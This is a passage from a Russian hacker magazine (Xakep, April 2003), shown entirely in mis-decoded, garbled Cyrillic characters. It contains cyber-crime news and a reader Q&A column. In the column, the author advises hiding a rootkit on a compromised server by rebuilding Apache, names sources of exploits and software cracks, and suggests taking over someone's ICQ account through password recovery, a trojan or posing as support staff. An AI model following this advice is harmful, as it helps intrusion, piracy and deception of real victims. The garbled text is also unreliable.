ÿ ýòî. À Àðâèêà ïðèïëåë øóòêè ðàäè. Äà è àâòîðèòåò åìó ïîäíÿòü ÷òîá". Èçâåñòíî,<br />
ñêîëüêî "äîáðîæåëàòåëåé" ó íàøåãî èìåíèòîãî õýêêåðà, íåèçâåñòíî òîëüêî,<br />
÷òî îíè ïðèäóìàþò â ñëåäóþùèé ðàç. Äîâåäóò ñêîðî áåäíÿãó, îí ñîáñòâåííûìè<br />
ðóêàìè ñâîþ øêîëó<br />
õýêêåðîâ âçîðâåò. Êñòàòè,<br />
çíàÿ îá èíöèäåíòå,<br />
îïðîâåðãàòü ñâîþ ïðè-<br />
÷àñòíîñòü Àðâè íå ñòàë.<br />
Íåñìîòðÿ íà ñòîëü áåðåæíî<br />
îáåðåãàåìóþ<br />
ðåïóòàöèþ íîñèòåëÿ<br />
äîáðà è ñïðàâåäëèâîñòè.<br />
Ïðèÿòíî, íàâåðíîå,<br />
êóïàòüñÿ â ëó÷àõ ñëàâû...<br />
ïóñòü äàæå ñëåï-<br />
Îäèí èç âçëîìàííûõ ñàéòîâ - www.riaa.org<br />
ëåííîé ÷óæèìè ðóêàìè.<br />
ÍÅ ÏÈØÈ ÌÍÅ ÁÎËÜØÅ, ÌÀÌÀ<br />
Ïîêà àìåðèêàíñêèå ñîëäàòû íàòèðàþò ÿäîì øòûêè, ãîòîâÿñü ê çàâîåâàíèþ Èðàêà,<br />
èõ ïðàâèòåëüñòâî ïîäóìûâàåò î ìåðàõ ïðåäîñòîðîæíîñòè. Â Àìåðèêå èíåò<br />
óæå íå òîëüêî â êàæäîì îáùåñòâåííîì òóàëåòå ïðîòÿíóò, îí äîáðàëñÿ è äî êàçàðì<br />
â òûëó. Òàê ÷òî â ïåðåðûâàõ ìåæäó òðåíèðîâêàìè, ïåðåñòðåëêàìè è ïðî-<br />
÷èìè àðìåéñêèìè çàáàâàìè, ñïåöïîäðàçäåëåíèÿ ðàçâîäÿò ðóññêèõ äåâóøåê íà<br />
âèðòóàëüíûé ñåêñ è ïèøóò äîìîé, ÿêîáû èç ãîðÿùåãî òàíêà. Íàñ÷åò ñåêñà ïðàâèòåëüñòâî<br />
íå ïðîòèâ - âåäü ðåàëüíûé íåäîñòóïåí, ïóñòü õîòü òàê ïîòåøàòñÿ. À<br />
âîò ñ ïèñüìàìè òèïà îáîæäèòå. Îêàçûâàåòñÿ, ñîçíàòåëüíûå àìåðèêàíñêèå âîÿêè<br />
íåðåäêî øëþò ìàìå ñ ïàïîé ñåêðåòíóþ èíôîðìàöèþ, à òàêæå ñâîè ôîòêè íà<br />
ôîíå îõðàíÿåìûõ ïîçèöèé è ïðî÷åãî çàìàñêèðîâàííîãî âîîðóæåíèÿ.<br />
Íî âåäü âðàã íå äðåìëåò! Âïîëíå âîçìîæíî, çà ñîñåäíèì êóñòîì çàðûëñÿ òåððîðèñò,<br />
êîòîðûé ñ åõèäíîé óëûáî÷êîé ëîâèò òðàôèê ìîáèëüíîé àíòåííîé. Ïîêóìåêàâ<br />
íà ýòó òåìó, âûñîêîóïîëíîìî÷åííûå äåäû ðåøèëè - õðåí òåáå, ïåõîòà,<br />
à íå èíåò. È îòðóáèëè âñå ÷àñòè, ÷òî ðÿäîì ñ Èðàêîì, îò õàëÿâíîãî àíëèìà.<br />
Àøîïîäåëàòü - âîïðîñ íàöèîíàëüíîé áåçîïàñíîñòè :).<br />
ÔÀÏÑÈ ÏÓÑÒÈËÈ Â ÐÀÇÍÎÑ<br />
Åñëè êòî íå çíàåò, ÔÀÏÑÈ - ýòî îðãàíèçàöèÿ, çàíèìàþùàÿñÿ ïîääåðæêîé<br />
è ðàçâèòèåì èíôîðìàöèîííîé áåçîïàñíîñòè â Ðîññèè. ×åðåç íåå<br />
ïðîõîäÿò âñå ñåðòèôèêàòû êðèïòîãðàôè÷åñêèõ ñèñòåì è ëèöåíçèè íà<br />
ïðîèçâîäñòâî ñðåäñòâ ïî çàùèòå èíôîðìàöèè. Íî àêòóàëüíûì ýòî áûëî<br />
äî 11 ìàðòà. Èìåííî â ýòîò äåíü Âëàäèìèð Ïóòèí ïîäïèñàë óêàç î ðåîðãàíèçàöèè<br />
íåêîòîðûõ ñèëîâûõ ñòðóêòóð. Òåïåðü âñå ôóíêöèè è çàäà÷è<br />
ÔÀÏÑÈ ðàñïðåäåëèëè ìåæäó ÔÑÁ è Ìèíèñòåðñòâîì Îáîðîíû Ðîññèè.<br />
Ðàáîòàâøèå òàì ñïåöèàëèñòû, â ïðèíöèïå, íè÷åãî íå ïîòåðÿëè, ïðîñòî<br />
ðàáîòàòü îíè áóäóò íà íîâîì ìåñòå. Áûâøèé äèðåêòîð ÔÀÏÑÈ, íàïðèìåð,<br />
òåïåðü çàíèìàåò ïîñò â íîâîì êîìèòåòå ïðè Ìèíîáîðîíû, çàíèìà-<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
][ NEWS<br />
þùèìñÿ âîïðîñàìè èíôîðìàöèîííîé áåçîïàñíîñòè. Çà÷åì óáðàëè ÔÀÏ-<br />
ÑÈ, ÿ íå çíàþ, íî, î÷åâèäíî, ó "Áîëüøîãî Áðàòà" ñâîè ïðè÷èíû. Ìîæåò,<br />
êîãäà-íèáóäü ýòè ïðè÷èíû çàñòàâÿò åãî ðàñôîðìèðîâàòü ÔÑÁ...<br />
20 ËÅÒ ÇÀ ÂÇËÎÌ<br />
Òàêàÿ âîò îðãàíèçàöèÿ<br />
"Ïðèçíàåòñÿ âèíîâíûì è ïðèãîâàðèâàåòñÿ ê 20 ãîäàì òþðåìíîãî çàêëþ÷åíèÿ"<br />
- ýòîé ôðàçîé çàêîí÷èëàñü îäèññåÿ 29-ëåòíåãî Îëåãà Çèçîâà, ðåøèâøåãî áûñòðî<br />
ðàçáîãàòåòü. Áóäó÷è õàêåðîì, Îëåæåê íå ñòàë çàìîðà÷èâàòüñÿ ñ öèâèëüíîé<br />
ðàáîòîé, à ïîïðîáîâàë îòõàïàòü ñðàçó è ìíîãî. Äëÿ ýòîãî îí âçëîìàë êîìïüþòåðíóþ<br />
ñèñòåìó àìåðèêàíñêîãî èíôîðìàöèîííîãî àãåíòñòâà Bloomerg è, ñâÿçàâøèñü<br />
ñ åå ðóêîâîäèòåëåì Ìàéêëîì Áëóìåðãîì (êñòàòè, ìýð Íüþ-Éîðêà), ñ<br />
ãîòîâíîñòüþ ïðåäëîæèë ñâîè óñëóãè ïî çàëàòûâàíèþ äûð. Ïðè÷åì ïîïðîñèë çà<br />
ýòî íåìíîãî - 200 òûñÿ÷ äîëëàðîâ. Î÷åâèäíî, ïîíÿòèÿ î "íåìíîãî" ó êàçàõñòàíñêîãî<br />
âçëîìùèêà è àìåðèêàíñêîãî áèçíåñìåíà íå ñîâïàëè, ïîýòîìó ïîñëåäíèé<br />
âåæëèâî îòêàçàëñÿ. "Íý ïîíÿë, - âîçìóòèëñÿ Îëåã, - ÿ ñêàçàë 200 òûñÿ÷, èíà÷å<br />
âåñü èíåò óçíàåò î âàøèõ äûðàõ è çàîäíî óâèäèò âñþ êîíôèäåíöèàëüíóþ èíôó<br />
î êëèåíòàõ". Ìèñòåð Áëóìåðã ïîäóìàë è ðåøèë - íó ëàäíî, ãàä, áóäóò òåáå áàáêè.<br />
Ìåñòîì âñòðå÷è è ïåðåäà÷è íàëà âûáðàëè Ëîíäîí. Âçÿâ ìåøîê ïîáîëüøå,<br />
Çèçîâ ïîåõàë çà ïðåìèàëüíûìè... íî âìåñòî òîãî, ÷òîáû ïîëó÷èòü îáåùàííûå<br />
áàáëîñèêè, îêàçàëñÿ íà àìåðèêàíñêèõ íàðàõ. Ñóä óæå ñîñòîÿëñÿ, è ïðèñÿæíûå<br />
áûëè åäèíîäóøíû - âèíîâåí. Ìåëî÷èòüñÿ ùåäðûå àìåðèêàíöû íå ñòàëè è äàëè<br />
îò ÷èñòîãî ñåðäöà 20 ëåò çàêëþ÷åíèÿ. Ïîäóìàé, ìîë, çà ýòî âðåìÿ íàä ñâîèì<br />
íåõîðîøèì ïîâåäåíèåì. Íàñêîëüêî ÿ çíàþ, 20 ëåò íå âñÿêîìó ñåðèéíîìó<br />
óáèéöå äàþò. Îäíàêî íàäî æå ïðèëþäíî ïðîäåìîíñòðèðîâàòü ãàäêèì ðóññêèì<br />
õàêåðàì, ÷òî ñ íèìè áóäåò, êîëè ïîñÿãíóò íà ÷åñòü ãðàæäàí âåëèêîé äåðæàâû.<br />
ÏÐÎÄÎËÆÅÍÈÅ ÍÎÂÎÑÒÈ: ÌÀËÜ×ÈÊ-ØÊÎËÜÍÈÊ ÎÑÂÎÁÎÆÄÅÍ<br />
 ìàðòîâñêèõ íüþñàõ ÿ ðàññêàçûâàë ïðî 11-ëåòíåãî ïàðåíüêà, íàä êîòîðûì<br />
íàâèñëà óãðîçà òþðåìíîãî çàêëþ÷åíèÿ çà èñïðàâëåíèå îöåíîê íà øêîëüíîì<br />
êîìïüþòåðå. Ìåíÿ íàñòîëüêî çàäåë ýòîò ñëó÷àé, ÷òî ÿ ðåøèë óçíàòü, ÷òî òàì<br />
ïðîèçîøëî äàëüøå. Â îáùåì, âñå â ïîðÿäêå. Â çàùèòó ïàðåíüêà âûñòóïèëà<br />
îáùåñòâåííîñòü è ïðåññà, ìíîãèõ âîçìóòèëî, ÷òî êîìó-òî âîîáùå ìîãëà<br />
ïðèéòè â ãîëîâó ìûñëü ïîñàäèòü ïàöàíà çà ðåøåòêó çà òàêóþ åðóíäó. Åäèíñòâåííîå,<br />
÷åãî ïîòðåáîâàë ïðîêóðîð - èçâèíèòüñÿ â ïèñüìåííîì âèäå ïåðåä<br />
ó÷èòåëÿìè è íåñêîëüêî ÷àñîâ ïîðàáîòàòü äëÿ ãîñóäàðñòâà. Íåñìîòðÿ íà òî,<br />
÷òî ñðàçó ïîñëå àðåñòà ìàëü÷óãàíà âûïåðëè èç øêîëû, ìàðüâàííû, î÷åâèäíî,<br />
ðàñòðîãàííûå èçâèíåíèÿìè è ïå÷àëüíûìè ãëàçàìè Àðõèìà (à ñêîðåå íàïóãàííûå<br />
ðåàêöèåé îáùåñòâåííîñòè), ïðèãëàñèëè åãî îáðàòíî. "Âîçâðàùàéñÿ ê<br />
íàì, ìàëûø. Ìû òåáÿ òàê ëþáèì". Ãèåíû â þáêàõ. Ëàäíî, êîðî÷å, âñå, êòî ìåñÿö<br />
íàçàä âñïëàêíóë î íåñïðàâåäëèâîñòè ïî îòíîøåíèþ ê ïàðíþ - ìîæåòå<br />
ñïàòü ñïîêîéíî. Þíûé ãåðîé óæå âîâñþ ó÷èòñÿ, õîäèò ñî âñåìè êóøàòü â ñòîëîâóþ<br />
è áîëüøå íå ïîìûøëÿåò î ïîäîáíûõ ïðîäåëêàõ.<br />
1 2 3 4<br />
42 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÁÎËÒ ÍÀ ØÅÑÒÍÀÄÖÀÒÜ ÄËß ÂÅÁÕÓËÈÃÀÍÎÂ<br />
 Àìåðèêå íàøëè íîâûé ñïîñîá íàêàçàíèÿ êèáåðïðåñòóïíèêîâ. Òåïåðü, åñëè<br />
êàêîé-òî êóëõàöêåð èëè àôåðþãà ïîïàëñÿ íà ãîðÿ÷åì, îðãàíû ÑØÀ ñðàçó îòáèðàþò<br />
ó íåãî äîìåí. Ðàíüøå, êîíå÷íî, è ñàéòû ïðèêðûâàëè, íî òîëüêî íà îïðåäåëåííûõ<br />
õîñòèíãàõ. Õóëèãàíó äîñòàòî÷íî áûëî âîñïîëüçîâàòüñÿ óñëóãàìè<br />
äðóãîé êîìïàíèè, ÷òîáû âîçîáíîâèòü ðàáîòó ïàãè. Òåïåðü - èçâèíÿéòå. Áëþñòèòåëè<br />
ïîðÿäêà ìîãóò çà íåêóþ ïðîâèííîñòü îòîáðàòü ïðàâà íà äîìåííîå èìÿ<br />
ñàéòà, âçðàùèâàåìîãî ãîäàìè. Ýòî, íåñîìíåííî, äåéñòâåííûé ìåòîä, îñîáåííî<br />
ïðîòèâ òåõ ãîâíþêîâ,<br />
ó êîòîðûõ åñòü â Ñåòè<br />
÷òî-òî öåííîå. Äåïàðòàìåíò<br />
Þñòèöèè ÑØÀ óæå<br />
óñïåë îòîáðàòü íåñêîëü-<br />
Otobrano zakonom<br />
ibo nefig. FBR.<br />
ÏÅÐÂÛÉ ÎÑÓÆÄÅÍÍÛÉ<br />
êî äîìåíîâ ó òàêèõ âîò<br />
ðåáÿò. Íà òîì ìåñòå, ãäå<br />
ðàíüøå íàõîäèëñÿ ñàéò,<br />
ïîÿâëÿåòñÿ ñîîáùåíèå<br />
ôåäåðàëüíûõ ñëóæá,<br />
÷òî-òî òèïà: "Îòîáðàíî<br />
çàêîíîì èáî íåôèã".<br />
Äîëãîå âðåìÿ ïûëèëàñü â Óãîëîâíîì Êîäåêñå ÐÔ íåâîñòðåáîâàííàÿ 273-ÿ ñòàòüÿ.<br />
È âîò, íàêîíåö, íàøëè íà êîì èñïûòàòü. Âîîáùå, ñòàòüÿ ýòà èìååò íàçâàíèå<br />
"Ñîçäàíèå, èñïîëüçîâàíèå è ðàñïðîñòðàíåíèå âðåäîíîñíûõ ïðîãðàìì<br />
äëÿ ÝÂÌ" è ïðåäóñìàòðèâàåò îòâåòñòâåííîñòü çà âñÿêèå òàì âèðè è òðîÿíû.<br />
Íå òî ÷òîáû ó íàñ íè÷åãî òàêîãî íèêîãäà íå ïèñàëè, ïðîñòî ñàìè ïîíèìàåòå -<br />
â Ðîññèè æèâåì. Ïðîãðàììà Àíäðåÿ Ýðçÿéêèíà èç Ñàðàíñêà, çà êîòîðóþ îí<br />
ïîëó÷èë ãîä óñëîâíî, âåñüìà ýêçîòè÷íà. Íàïèñàííàÿ äëÿ êîíòðîëüíî-êàññîâûõ<br />
ìàøèí, îíà ïðåäîñòàâëÿëà âîçìîæíîñòü èçìåíèòü äàííûå ïî âûðó÷êå, äàòå è<br />
êîëè÷åñòâó ïîêóïîê. Ëó÷øèé äðóã äëÿ êàññèðîâ ñóïåðìàðêåòîâ :). Íî äàëüøå<br />
êîìïüþòåðà àâòîðà óòèëèòêà óéòè íå óñïåëà - Àíäðþøó ïîâÿçàëè. Àäâîêàò<br />
õîòåë áûëî óáåäèòü ñóäüþ, ÷òî êàññîâûé àïïàðàò íå ÝÂÌ âîâñå, à<br />
ñòàëî áûòü, íèêàê íå ïðèìåíèìà ê íåìó ýòà ñòàòüÿ. Íî âûáèòü ó íåãî ïðîùåíèå<br />
äëÿ ñâîåãî êëèåíòà òàê è íå óäàëîñü.<br />
ÑÏÀÌ ÄÀÂÈÒÜ!<br />
20 ìàðòà â Ñàí-Ôðàíöèñêî ïðîøëà ïåðâàÿ êîíôåðåíöèÿ Internet Engineering Task<br />
Force, ïîñâÿùåííàÿ ðåøåíèþ ïðîáëåìû ñïàìà â Ñåòè. IETF - îäíà èç ñàìûõ âëèÿòåëüíûõ<br />
îðãàíèçàöèé, ðåøàþùàÿ âñå âîïðîñû ïî ñòàíäàðòèçàöèè èíòåðíåò-òåõíîëîãèé.<br />
È ñ íåäàâíèõ ïîð îíà âçÿëà, íàêîíåö, êóðñ íà ïîèñê âàêöèíû ïðîòèâ ýëåêòðîííîãî<br />
ìóñîðà. Òàê êàê ñïàìåðû ïîñòîÿííî íàõîäÿò ñïîñîáû îáîéòè ôèëüòðû,<br />
îðãàíèçàöèÿ çàíèìàåòñÿ ïîèñêàìè ñîâåðøåííî íîâîãî ðåøåíèÿ. Âåðîÿòíî, ïîòðåáóåòñÿ<br />
ïîëíîñòüþ ïåðåðàáîòàòü ïî÷òîâûé ïðîòîêîë, íà ÷òî óéäåò íå îäèí ãîä.<br />
Êðîìå ýòîãî ñîòðóäíèêè IETF ðàáîòàþò íàä ïðîáëåìîé àíîíèìíîñòè ñïàìåðñêèõ<br />
ïèñåì. Ñåé÷àñ ïîääåëàòü ìåññàãó - ïðîùå ïðîñòîãî, íî êòî çíàåò, êàê îíî âñå áóäåò,<br />
åñëè ïîëíîñòüþ<br />
èçìåíèòñÿ ïðèíöèï<br />
ýëåêòðîííîé òðàíñïîðòèðîâêè.<br />
Áóäåì<br />
íàäåÿòüñÿ, ÷òî óìíûå<br />
ãîëîâû èç ÈÝÒÔ ïðèäóìàþò<br />
÷òî-íèáóäü<br />
ðåâîëþöèîííîå. À òî,<br />
íå çíàþ êàê âàñ, à ìåíÿ<br />
ñïàìåðû óæå çàäîëáàëè.<br />
Âñå íåïðî÷èòàííîå - âñå ñïàì!<br />
5 6 7<br />
Þíèêñîèä X-Ñòèëü
HACK-FAQ<br />
VEiDER (hack-faq@real.xakep.ru)<br />
Íà<br />
âçëîìàííîì ñåðâåðå<br />
ñòîèò apache. ß õî÷ó<br />
óñòàíîâèòü òàì ðóòêèò.<br />
Êàê åãî çàìàñêèðîâàòü<br />
ïîä httpd?<br />
A: Åñòü íåñêîëüêî âàðèàíòîâ. Ïåðâûé ñëó÷àé.<br />
Åñëè íà ýòîì ñåðâåðå óñòàíîâëåíî ìíîæåñòâî<br />
ñêðèïòîâ (perl/php), òî òû ìîæåøü çàëèòü ñâîé<br />
â íàäåæäå, ÷òî åãî íå îáíàðóæàò. Åñëè æå èõ íåìíîãî<br />
è ïîÿâëåíèå íîâîãî áóäåò îáÿçàòåëüíî<br />
çàìå÷åíî, òî èçìåíè ñóùåñòâóþùèå. Åñëè<br />
ñêðèïòîâ íå íàáëþäàåòñÿ âîîáùå, èëè òû ïîíÿòèÿ<br />
íå èìååøü, êàê ïèñàòü íà perl/php, òî åñòü è<br />
äðóãîé âàðèàíò. Ê ñ÷àñòüþ, apache èìååò îòêðûòûé<br />
èñõîäíûé êîä, è íèêòî íå ìåøàåò òåáå<br />
äîáàâèòü òóäà ïàðó ïîëåçíûõ "ôè÷", ïåðåñîáðàòü<br />
åãî è ïîäìåíèòü ñóùåñòâóþùèé.<br />
À ãäå ìîæíî<br />
íà õàëÿâó äîñòàòü<br />
íîðìàëüíûå ñâåæèå<br />
ýêñïëîèòû?<br />
A: Íà÷àòü ïîèñê, ÿ äóìàþ, ìîæíî ñ ðàçëè÷íûõ<br />
íîâîñòíûõ ïîðòàëîâ, âðîäå SecurityFocus.com,<br />
èëè ñïåöèàëèçèðîâàííûõ ôîðóìîâ. Êîíå÷íî, òàì<br />
òû íå íàéäåøü ïðèâàòíûõ ýêñïëîèòîâ äëÿ<br />
OpenBSD-current, íî, âîçìîæíî, îáíàðóæèøü<br />
advisories, äîêàçûâàþùèå ñóùåñòâîâàíèå êàêîéíèáóäü<br />
óÿçâèìîñòè (â ïîìîùü àäìèíàì, ÷òîáû<br />
îíè ñìîãëè ïðîâåðèòü ñâîè ñèñòåìû íà íàëè÷èå<br />
îøèáîê). Íå ñòîèò òàêæå çàáûâàòü ïðî ñàéòû<br />
õàê/security ãðóïï. Íà íèõ èíîãäà âàëÿþòñÿ èíòåðåñíûå<br />
ðåëèçû, ñðåäè êîòîðûõ åñòü è ýêñïëîèòû.<br />
Òàêæå â îäíîì èç íîìåðîâ X áûë îïèñàí ñïîñîá<br />
òðåéäèíãà ýêñïëîèòîâ. À âîò åùå îäèí âàðèàíò.<br />
Äîïóñòèì, ó òåáÿ íà êîìïå ñòîèò ëèíóêñ. Òû çàõîäèøü<br />
íà êàêîé-íèáóäü irc-êàíàë è ãðîìêî îáúÿâëÿåøü,<br />
÷òî çàíèìàåøüñÿ òðåéäèíãîì øåëëîâ â<br />
îáìåí íà ýêñïëîèòû. È âîò òàê, òîðãóÿ øåëëàìè<br />
íà ñåáå, ïîÿâëÿåòñÿ âîçìîæíîñòü ïîëó÷èòü íåñêîëüêî<br />
ïîëåçíûõ ýêñïëîèòîâ. Òîëüêî ïðè òàêîé<br />
ðàáîòå íå çàáûâàé ìåíÿòü íèêè è ïðîêñè :).<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Çàäàâàÿ âîïðîñû, êîíêðåòèçèðóé èõ. Äàâàé áîëüøå äàííûõ î<br />
ñèñòåìå, îïèñûâàé àáñîëþòíî âñå, ÷òî òû çíàåøü î íåé. Ýòî ìíå<br />
ïîìîæåò îòâåòèòü íà òâîè âîïðîñû è óêàçàòü òâîè îøèáêè. È íå ñòîèò<br />
çàäàâàòü âîïðîñîâ âðîäå “Êàê ñëîìàòü www-ñåðâåð?” èëè âîîáùå<br />
ïðîñèòü ó ìåíÿ “õàëÿâíîãî” Internet’à. ß âñå ðàâíî íå äàì, ÿ æàäíûé :)<br />
Ðàññêàæè, ãäå<br />
ìîæíî ïî÷èòàòü ýòè<br />
ñàìûå RFC? Ïðîñòî ][<br />
íà íèõ ÷àñòåíüêî<br />
ññûëàåòñÿ.<br />
A: RFC (Requests For Comments) ÿâëÿþòñÿ îñíîâîé<br />
òåõíè÷åñêîé äîêóìåíòàöèè. Íåìóäðåíî, ÷òî ê íèì<br />
òàê ÷àñòî îáðàùàþòñÿ. Ïî÷èòàòü RFC ìîæíî òóò -<br />
http://www.freesoft.org/CIE/RFC/ èëè òóò -<br />
ftp://ftp.isi.edu.<br />
Ñåé÷àñ ñòàë<br />
ðàñïðîñòðàíÿòüñÿ<br />
ïëàòíûé ñîôò ïîä<br />
ëèíóêñ. Íàïðèìåð,<br />
ïðîãðàììà igloo ftp<br />
pro. Ãäå áðàòü êðÿêè<br />
äëÿ íåâèíäîâûõ<br />
ïðèëîæåíèé?<br />
A: Íà ñàìîì äåëå íåò ðàçíèöû - âèíäîâûå êðÿêè<br />
èëè ëèíóêñîâûå. Âñå îíè ëåæàò íà òåõ æå êðóïíûõ<br />
ïîðòàëàõ. Ïðîáëåìà â äðóãîì - êàê áûñòðî îíè<br />
òàì ïîÿâÿòñÿ. À îáû÷íî õâàòàåò âñåãî íåñêîëüêèõ<br />
ñåðâåðîâ, âðîäå http://www.cracks.am èëè<br />
http://www.crack.ru. Åñëè æå òàì íè÷åãî íå íàéäåíî,<br />
òî ïðèäåòñÿ èñêàòü íà ñàéòàõ ñàìèõ êðÿêãðóïï,<br />
âðîäå DAMN.<br />
Åñòü øåëë, ÿ<br />
íà íåì äåëàþ su, à<br />
ïîëó÷àþ - su: unknown<br />
login root. Êàê ýòî<br />
unknown login?<br />
A: Ïðîñòî íà äàííîì êîìïå íåò ó÷åòíîé çàïèñè<br />
root. Âåäü íà ñàìîì äåëå îíà íå ÿâëÿåòñÿ<br />
îáÿçàòåëüíîé. Ñèñòåìå æå íóæåí ñàì ïîëüçîâàòåëü<br />
ñ uid'îì 0, à íå ïðèâû÷íîå äëÿ íàñ èìÿ<br />
root. Óòèëèòà su áåç àðãóìåíòîâ àíàëîãè÷íà çàïóñêó<br />
"su root", ïîýòîìó òû ïîëó÷àåøü ñîîáùåíèå<br />
îá îøèáêå. ×òîáû óçíàòü êàêîå æå èìÿ òåáå<br />
òðåáóåòñÿ, ïîñìîòðè â /etc/passwd è íàéäè<br />
ïîëüçîâàòåëÿ ñ íóëåâûì uid'îì. Äàëåå äåëàé<br />
"su ".<br />
ß íà õàëÿâó<br />
ñèæó ÷åðåç gprs ó<br />
îäíîãî èçâåñòíîãî<br />
ñîòîâîãî îïåðàòîðà, íî<br />
îí çàêðûë ÷àñòü<br />
ïîðòîâ (ftp), ïðàâäà<br />
àñüêà ïàøåò. Ìîæíî ëè<br />
ìíå ñêà÷àòü mp3?<br />
A: Äëÿ íà÷àëà ïîïðîáóé íàéòè http'øíîå çåðêàëî<br />
àðõèâà è ñïîêîéíî êà÷àé îòòóäà. Åñëè íå ïîëó-<br />
÷èòñÿ, âîñïîëüçóéñÿ ïðîêñåé (ïî òâîèì ñëîâàì,<br />
çàêðûò òîëüêî 21-ûé ïîðò). Íó à åñëè è ñ ïðîêñåé<br />
òóõëÿê, òî ïðèäåòñÿ âîñïîëüçîâàòüñÿ ñåðâèñîì<br />
ftp2mail è ïîëó÷èòü íóæíûé ôàéë ñåáå â ïî÷òîâûé<br />
ÿùèê, à îòòóäà óæå ñêà÷àòü ê ñåáå íà ìàøèíó.<br />
Õîòÿ âðÿä ëè, ÷òî âñå òàê ïëîõî ñëîæèòñÿ.<br />
ß õî÷ó<br />
íàó÷èòüñÿ íàõîäèòü<br />
îøèáêè â ñåòåâîì<br />
ñîôòå è ïèñàòü äëÿ<br />
íèõ ýêñïëîèòû. Êàêóþ<br />
ñåòåâóþ ëèòåðàòóðó<br />
ïîñîâåòóåøü<br />
ïî÷èòàòü, è ñàìîå<br />
ãëàâíîå, ãäå åå âçÿòü?<br />
A: Ðàç òû çàäàåøü òàêîé âîïðîñ, òî òû äîëæåí<br />
çíàòü Ñè è ðàçáèðàòüñÿ â àññåìáëåðå, ïîýòîìó<br />
êíèæêè ïî ïðîãðàììèðîâàíèþ ðåêîìåíäîâàòü<br />
íå áóäó. "Smashing The Stack For Fun And<br />
Profit" - î÷åíü õîðîøàÿ ñòàòüÿ äëÿ òîãî, ÷òîáû<br />
ïîíÿòü ñàìó ñóòü ïðîöåññà ïåðåïîëíåíèÿ ñòåêà.<br />
Åùå ìíîãî ïîëåçíûõ ñòàòåé åñòü íà ñåðâåðå<br />
http://www.neworder.box.sk â ðàçäåëå<br />
"Exploits & buffer over<strong>fl</strong>owing tutorials". Íà ñàéòå<br />
http://lbyte.void.ru åñòü íåïëîõîé ìàòåðèàë<br />
íà ðóññêîì ÿçûêå - "Modern kinds of system<br />
attacks". Ýòîãî äîëæíî õâàòèòü äëÿ íà÷àëà.<br />
Òàêæå íå ñòîèò çàáûâàòü î ïðàêòèêå. Âîçüìè<br />
çàâåäîìî äûðÿâûé ñåðâåð è ýêñïëîèò äëÿ íåãî.<br />
Òåïåðü ïîïðîáóé åãî âçëîìàòü, óáåäèñü,<br />
÷òî âñå ðàáîòàåò êàê äîëæíî: òû ïîëó÷àåøü îïðåäåëåííûå<br />
ïðèâèëåãèè, êîòîðûå äàåò òåáå<br />
ýêñïëîèò. Ïîòîì ïîñìîòðè, êàê íàïèñàí ýòîò<br />
ñàìûé ýêñïëîèò, êàêóþ óÿçâèìîñòü îí èñïîëüçóåò,<br />
è ïîïûòàéñÿ íàïèñàòü ñâîþ ðåàëèçàöèþ.<br />
 îáùåì, ïîçíàâàé âñå íà äåëå.<br />
1 2 3 4<br />
44 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
À ÷òî òàêîãî<br />
äåëàåò ðîóòåð, è<br />
ïî÷åìó îí<br />
ïðåïÿòñòâóåò<br />
ñíèôèíãó?<br />
A: Ðîóòåð íàïðàâëÿåò ïðèøåäøèå íà íåãî ïàêåòû<br />
â ñîîòâåòñòâèè ñ ïðîïèñàííîé òàáëèöåé ðîóòèíãà.<br />
Íà ðîóòåðàõ òàêæå ìîãóò óñòàíàâëèâàòüñÿ ôàåðâîëû,<br />
ðàçëè÷íûå óòèëèòû óïðàâëåíèåì êàíàëîì<br />
(traffic shaping). À ìåøàåò ðîóòåð ñíèôèíãó,<br />
ò.ê. îí øëåò ïðèøåäøèé ïàêåò íå ïî âñåì ïîðòàì,<br />
à òîëüêî â íåîáõîäèìûé.<br />
Äîïóñòèì, ÿ<br />
çíàþ e-mail ÷åëîâåêà<br />
â àñüêå. Ýòî ïîìîæåò<br />
ìíå ñòàùèòü åãî UIN?<br />
A: Òåîðåòè÷åñêè - äà. Çíàÿ e-mail, òû ìîæåøü<br />
ïðîñòî ïîïûòàòüñÿ åãî âçëîìàòü. Íàïðèìåð,<br />
÷åðåç ñëóæáó çàáûòûõ ïàðîëåé ïî÷òîâîé ñèñòåìû.<br />
Åñëè òàê íå ïîëó÷èòñÿ, òî åñòü âîçìîæíîñòü<br />
çàñëàòü åìó òðîÿí èëè ïðåäñòàâèòüñÿ<br />
ñëóæáîé ïîääåðæêè è ïîïðîáîâàòü óãîâîðèòü<br />
åãî ñêàçàòü ïàðîëü. Âñå ýòè ñïîñîáû óæå íåîäíîêðàòíî<br />
îïèñûâàëèñü, ÷òî-òî ñâåðõíîâîå â<br />
äàííîé îáëàñòè ïðèäóìàòü ñëîæíî.<br />
Ìîæíî ëè<br />
âû÷èñëèòü IP<br />
÷åëîâåêà, åñëè ÿ çíàþ,<br />
êàêèì ïðîâàéäåðîì îí<br />
ïîëüçóåòñÿ, è çíàþ,<br />
êîãäà îí ïîä íèì<br />
ñèäèò?<br />
A: Ìîæíî, íî òåáå ïîíàäîáèòñÿ íåìíîãî<br />
áîëüøå èíôîðìàöèè. Òû ãîâîðèøü, ÷òî çíàåøü,<br />
÷åðåç êàêîãî ïðîâàéäåðà îí çàõîäèò, ñëåäîâàòåëüíî,<br />
èñêàòü åãî íàäî â äèàïàçîíå IP<br />
ýòîãî êîíêðåòíîãî ïðîâàéäåðà. Äèàïàçîí IP<br />
âûÿñíÿåòñÿ ïðè ïîìîùè whois ñåðâèñà<br />
(http://www.ripn.net/nic/whois/about_whois.html<br />
- çäåñü îïèñàíû ïðàâèëà èñïîëüçîâàíèÿ ñåðâèñà<br />
è åñòü âîçìîæíîñòü âîñïîëüçîâàòüñÿ webèíòåðôåéñîì).<br />
Èòàê, òåïåðü òû çíàåøü, ãäå<br />
èñêàòü. Òåïåðü íàäî âûÿñíèòü, ÷òî èñêàòü :).<br />
Íåîáõîäèìî îáíàðóæèòü êàêèå-òî îòëè÷èòåëüíûå<br />
÷åðòû ýòîãî ïîëüçîâàòåëÿ. Íàïðèìåð, ýòî<br />
ìîæåò áûòü îòêðûòûé íåñòàíäàðòíûé ïîðò<br />
3212, íåîáû÷íîå NetBIOS èìÿ è ò.ä. Îäíàæäû<br />
âû÷èñëèâ ýòó èíôó, òåáå ïðèäåòñÿ êàæäûé ðàç<br />
èñêàòü åå âî âñåì äèàïàçîíå. Òàê ÷òî ýòîò ïðîöåññ<br />
